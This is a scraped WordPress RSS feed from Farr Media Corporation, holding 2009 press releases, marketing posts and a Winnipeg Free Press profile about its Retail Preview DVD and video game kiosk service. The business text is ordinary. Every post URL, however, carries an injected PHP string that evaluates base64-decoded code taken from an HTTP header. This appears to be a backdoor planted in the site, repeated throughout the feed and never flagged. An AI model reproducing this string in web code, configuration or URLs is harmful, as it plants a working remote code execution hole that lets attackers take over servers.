Farr Media Corporation http://www.fmsdevelopment.com/wp News and Information Thu, 18 Mar 2010 14:52:01 +0000 http://wordpress.org/?v=2.8 en hourly 1 It’s all about improving the in-store customer experience! http://www.fmsdevelopment.com/wp/2009/10/20/its-all-about-improving-the-in-store-customer-experience/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.fmsdevelopment.com/wp/2009/10/20/its-all-about-improving-the-in-store-customer-experience/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Tue, 20 Oct 2009 22:54:44 +0000 admin http://www.fmsdevelopment.com/wp/?p=167 Print

It’s all about the customer experience!

The 2008 Customer Experience Impact Report

A bad customer experience leads to:

Lost business (81% would stop doing business and 69% would never return)

Viral detractors (74% tell others about bad service and 20% have posted negative feedback online)

Operational cost burden (61% have directly complained and 37% have returned products)

A good customer experience leads to:

New customer acquisition (53% would recommend)

Repeat business (52% would feel encouraged to buy more)

Sustained business (50% would return and often pay more)

In the current economic climate a retailer cannot afford bad customer experiences and can’t afford not to invest in enhancing good customer experiences.

In-store media technologies (like Retail Preview) are affordable and can help retailers improve positive customer experiences, improve service and increase sales.

Give your customers what they want and they are clearly asking for useful in-store media services.

Interactive media previewing provides many benefits to the consumer and to the retailer:

Convenience – easy to use and highly available information displays that provide consumers with a self-serve product information. Shoppers can scan, search and browse for media and information. No staff available, no problem, Retail Preview is always there!

Improve Service – With the growing number of media titles for DVD and video games it’s almost impossible to have staff that are familiar with all the products. Retail Preview allows shoppers to scan, search,  browse and interact with a database of over 30,000 sku’s and get information and video samples on-demand.

Increase Access – Are some or all of your media titles behind glass? Retail Preview lets shoppers interact with the media products that they cannot access. Even better than handling the product the shopper can view the media trailer and meta-data to get a better understanding of the product.

Increase Sales -  Many studies have shown that consumers who sample or preview a product are more likely to be influenced to purchase that product. The unique additional benefit of an interactive media service like Retail Preview is the ability cross promote similar products.

Improve Brand and Retail Destination Appeal – Retail Preview offers a unique consumer shopping experience and a differentiator from your competition.

The Arbitron Retail Media Study – Volume II

42% of retail media viewers would prefer to shop in a store that has media displays.

Over 30% of retail video viewers have made an unplanned purchase after seeing an in-store video.

Shoppers are extremely receptive to retail video

unplannedpurchase

Shoppers are most interested in product information video!

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Big Research

52% of respondents were influenced by product samples!

A survey on the most influential in-store promotions conducted by Big Research showed that 52% of respondents were influenced by product samples and 35% were influenced by special displays.

bigresearchinstorepromotions

Retail Preview

3 uniquely affordable product offerings to help you improve your media shopping experience

Retail Preview API – Movie and video game trailers for all your website, In-Store TV and digital media projects.

Retail Preview Interactive – web based kiosk style application for bricks and mortar retailers that allows consumers to scan, browse and search media titles. The product helps retailers improve service and increase sales. Service operates on a standard PC and most kiosks.

Retail Preview TV HD – Hi-Definition video trailers of the most popular movies and video games. Selection of HD formats including 480p, 720p and1080p. Perfect for big screen, small screen and VGA displays.

]]> http://www.fmsdevelopment.com/wp/2009/10/20/its-all-about-improving-the-in-store-customer-experience/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 Retail Preview Distribution Partnership for Australia and New Zealand http://www.fmsdevelopment.com/wp/2009/10/15/retail-preview-distribution-partnership-for-australia-and-new-zealand/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.fmsdevelopment.com/wp/2009/10/15/retail-preview-distribution-partnership-for-australia-and-new-zealand/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 15 Oct 2009 16:43:36 +0000 admin http://www.fmsdevelopment.com/wp/?p=163 PRESS RELEASE

FOR IMMEDIATE RELEASE

Farr Media Announces Retail Preview Distribution Partnership for Australia and New Zealand

October 15, 2009

NEW YORK, NY – WINNIPEG, MB – Farr Media Corporation announced today the signing of DVDfeed as the exclusive distribution partner for Retail Preview in Australia and New Zealand.

Retail Preview offers an enhanced consumer media shopping experience with a web based interactive kiosk application that allows consumers to scan, browse, search and interact with a rich media database of thousands of DVD and Video Game titles with video trailers, cover art, synopsis, cast, credits and barcodes.

“We are pleased to be working with DVDfeed to offer the Retail Preview service for Australia and New Zealand”, quoted Scott Farr, CEO of Farr Media. “The unique regional media expertise and industry relationships of DVDfeed combined with the innovative technology and world class media database of Retail Preview allows us to realize the global market opportunity for this truly unique product offering”, added Farr.

About Farr Media

Farr Media provides business and retailers with interactive media and technology tools that engage, entertain and educate their customers. The company’s flagship product offering, Retail Preview, features an interactive web based media merchandising application and an in-store interactive digital signage network. Farr Media has a comprehensive media database with thousands of DVD movie and Video Game trailers with meta-data.

Contact:

Scott Farr, CEO

(204) 415-6789

sfarr@sfarr.com

www.FarrMediaCorp.com

About DVDfeed

DVDfeed is a digital content syndicator & distributor that offers media product data and digital content solutions for Australian web site owners and retail operators. DVDfeed provides high quality media content and data to enhance depth of information, product appeal and consumer interest, which improves sales and customer satisfaction.

Contact:

Darren Vukasinovic, President

darren@dvdfeed.com.au

(011) 61-38-844-5537

www.dvdfeed.com.au

]]> http://www.fmsdevelopment.com/wp/2009/10/15/retail-preview-distribution-partnership-for-australia-and-new-zealand/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 Macrovision Agrees to Acquire Assets of Muze http://www.fmsdevelopment.com/wp/2009/04/16/macrovision-agrees-to-acquire-assets-of-muze/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.fmsdevelopment.com/wp/2009/04/16/macrovision-agrees-to-acquire-assets-of-muze/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 16 Apr 2009 18:49:30 +0000 sfarr http://www.fmsdevelopment.com/wp/?p=152 Macrovision Agrees to Acquire Assets of Muze

Macrovision announced today that they have agreed to acquire substantially all of the assets of Muze, Inc. for $16.5M US. This follows their recent acquisition of All Media Guide in November 2007, for $82M US.

Macrovision Agrees to Acquire All Media Guide Holdings, Inc

These acquisitions transform Macrovision into one of the largest suppliers of media meta data in just 2 years and less than $100M US.

Macrovision acquires Gemstar-TV Guide International

In December 2007 Macrovision acquired Gemstar-TV Guide for $2.8B US. From this acquisition they pared off the TV Guide Magazine and TV Guide cable channels in a sale to Lionsgate for $255M US and retained the interactive programming guide business and technology.  Macrovision changes plan, will sell TV Guide assets to Lions Gate for $225M

These acquisitions clearly articulate the Macrovision long term strategy which is content and enabling technology for consumer discovery and selection of media and entertainment.

This is surprisingly similar to the long term vision and strategy of Farr Media.

The future of consumer media consumption is all about choice. With an ever growing amount of media and entertainment options for consumers, our long-tail enabling philosophy and corporate strategy is all about providing tools, technology and media content to enable media businesses to guide and assist consumers in the discovery and consumption of media and entertainment.

With a quickly growing media database of over 30,000 media assets, meta data on over 160,000 DVD and Video Game releases and a massively scalable media delivery technology architecture, Farr Media is positioned to play a significant role in this industry.

Our recent release of the Next Generation Retail Preview that provides media retailers with a highly affordable and easy to use in-store media previewing and discovery application is just one example of how Farr Media is providing media content, data and enabling applications.

Scott Farr

President and CEO

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]]> http://www.fmsdevelopment.com/wp/2009/04/16/macrovision-agrees-to-acquire-assets-of-muze/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 3 Winnipeg Free Press – The Big Idea – March 27/09 http://www.fmsdevelopment.com/wp/2009/03/27/winnipeg-free-press-the-big-idea-march-2709/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.fmsdevelopment.com/wp/2009/03/27/winnipeg-free-press-the-big-idea-march-2709/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 27 Mar 2009 22:52:25 +0000 sfarr http://www.fmsdevelopment.com/wp/?p=142 Article published in the Winnipeg Free Press March 27, 2009

The Big Idea

By: Martin Cash

Enlarge Image Enlarge Image icon

Scott Farr with a video game and his interactive software indexing the game and thousands of other titles. (PHIL HOSSACK / WINNIPEG FREE PRESS )

The product

Retail Preview is an interactive web-based merchandising tool that allows retail customers to peruse trailers for more than 50,000 DVDs and video games on a user-friendly platform in the store. The target audience for the previewing system is the 35,000-to-40,000 retailers in North America who have anything to do with the rental or sale of DVDs or video games. All they will need is a computer, a high-speed Internet connection and $49.95 a month.

The entrepreneur

Scott Farr is the brains behind the product. As a senior executive with Winnipeg’s OMT Inc. for 15 years, Farr developed the concept and the technology for a more expensive kiosk version that was focused on music track previews that had been available in 120 Best Buy and Future Shop stores in Canada. When he left that company in June 2007 to form Farr Media Corp. he acquired the Retail Preview business and the technology behind it.

The eureka moment

The system was originally designed to preview music tracks. But with the 20-per-cent annual decline in music sales, Farr wanted to make the platform more engaging and sexy — and relevant. The decline in the cost of bandwidth and the preponderance of movie trailer and video game content made such an aggregation offering cost-effective and scalable. The most significant feature, however, is that it provides a product that addresses a growing market (video game sales are increasing by close to 20 per cent a year) rather than a shrinking one.

The challenge

Farr is just launching the service this spring after spending several months developing the technology and pulling together the content. He is planning to use vendors who sell other electronic services to retailers like point-of-sale cash register systems to market the service. It will cost the retailer a small monthly fee, but it will be an incremental expense for a service that doesn’t really exist now. Farr says he believes he is going to overcome the hurdle at least partially by making it dead easy to use. As well, he says, “We’re not looking to put a product on the market. We’re looking to dominate the market.”

– Martin Cash

]]> http://www.fmsdevelopment.com/wp/2009/03/27/winnipeg-free-press-the-big-idea-march-2709/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 3 Packaged Video Rental to Stay Popular Through 2013 http://www.fmsdevelopment.com/wp/2009/03/18/packaged-video-rental-to-stay-popular-through-2013/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.fmsdevelopment.com/wp/2009/03/18/packaged-video-rental-to-stay-popular-through-2013/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 18 Mar 2009 19:42:13 +0000 sfarr http://www.fmsdevelopment.com/wp/?p=127 A recent report by Adams Media Research (Video Rental Report 2009: Innovations Halt Long Decline) stated the packaged video rental market will remain steady at $8.2 billion through 2013.

Link to the Video Business Article

Highlights of this report:

  • Traditional transactional rentals at bricks-and-mortar stores will remain the most popular option for renters with a 48% market share by 2013.
  • Online subscription is projected to grow 41% to $2.9 billion (~27% market share)
  • Kiosk revenue will triple to $1.2 billion (~10% market share)
  • In-store subscriptions will grow 51% to $271 million

Video Market Projections 1

Analysis and Opinion:

While the traditional packaged video rental market is projected to remain steady at $8.2 billion through to 2013, the distribution of revenue will be primarily shared through traditional bricks-and-mortar video rental stores (48% market share) and a growing use of online video rental subscription services (27% market share). The kiosk market segment is projected to triple  by 2013 to $1.2 billion or approximately 10% of the market. Cable and video-on-demand is projected to grow to $1.7 billion by 2011 which is around a 17% market share. Digital rental services (Internet download) is projected to grow to $300 million by 2011, a 3% market share.

What is quite interesting is that the overall video rental market is projected to grow to $11 billion by 2013 up from $9 billion in 2007. Technology innovation seems to be the driving force behind the growth of the video rental market segment, providing consumers with more choices and options for video entertainment.

Traditional bricks-and-mortar video retail outlets still seem to have a strong cultural entertainment position in the market and in our society, while fundamentally unchanged. They have weathered format changes VHS, Beta, DVD, HD-DVD and now Blu-ray. Based on this report , traditional video stores will also survive erosion from online subscription, kiosks and pay-per-view.

Why?

While convenience and price have a significant effect on consumer spending habits there remains the “entertainment destination” value of a visit to the local video store for a browse of the physical media and the opportunity to explore something new in entertainment. Consumers can browse online video sites, have DVD’s delivered by subscription, order a movie on-demand on their cable box, or go to the local convenience store and stick a credit card into the vending machine, but where is the “entertainment destination” experience?

Is the traditional packaged video rental industry sustainable? Can it grow in the face of these new challenges and competitiors?

We believe that the industry can survive and even grow if it can innovate.

The long-tail bird is looking for a new roost after laying an egg on the retail music industry. Failure to recognize and respond quickly to evolving consumer demands for music hopefully has taught the entertainment industry an important and invaluable lesson.

Evolving communications technology will continue to provide consumers with more options for their discretionary entertainment spending. The video rental store has always been a popular destination for North American families and can continue to provide both consumer and entertainment value into the future.

The role of the evolving video store is to reinforce the “entertainment destination” value through more creative and innovative merchandising, product diversification and creative marketing.

Retail Preview is all about creative and innovative merchandising tools that add a unique and affordable “entertainment destination” appeal.

Consumers can scan, search, and browse thousands of DVD and Video Game titles and see video trailers, synopsis, cast, credits and much more.

Retail Preview works on almost any computer hardware (even a standard PC), all you need is an Internet browser and a broadband connection!

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FOR IMMEDIATE RELEASE

Farr Media Announces Launch of the Next Generation Retail Preview

March 4, 2009

NEW YORK, NY WINNIPEG, MB –  Farr Media Corporation announced today the launch of their next generation Retail Preview service that provides media retailers with an innovative, interactive  merchandising tool for consumer media discovery of DVD movies and Video Games.

Retail Preview is a web based kiosk style application that allows consumers to scan, browse, search and interact with a rich media database that includes video trailers, cover art, synopsis, cast, credits and UPC codes

The next generation Retail Preview is a significant advancement over the previous generation of the service that the company acquired from OMT Inc. (TSXV:OMT) in 2007, providing a comprehensive web based solution that requires only a web browser and a broadband Internet connection. The service can be operated on just about any type of computer hardware or kiosk and utilizes the  Amazon© cloud computing platform for enhanced Internet media performance and reliability.

“We gained significant insight into what consumers and media retailers want from an interactive media merchandising tool from the previous generation deployment of 300 media kiosks at Future Shop and Best Buy across Canada,” stated Scott Farr President and CEO of Farr Media Corporation. “We learned that consumers love the ability to interact and discover media, and that media retailers need a low cost, easy to deploy and easy to maintain platform to provide this type of service to their customers”, he added.

Retail Preview features a comprehensive turnkey application that operates on just about any computer hardware, features a rich content database and is priced to suit the budgets for media retailers of any type or size; large or small, new or used, sale or rental.

The company is offering a free 30 day trial and an introductory price of just $49.95 per month.

To learn more about the Next Generation Retail Preview visit www.RetailPreview.com

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About Farr Media Corporation

Farr Media Corporation is an innovative provider of media technology and content.

For more information contact:

Scott Farr

Phone: (204)415-6789

Email: sfarr@sfarr.com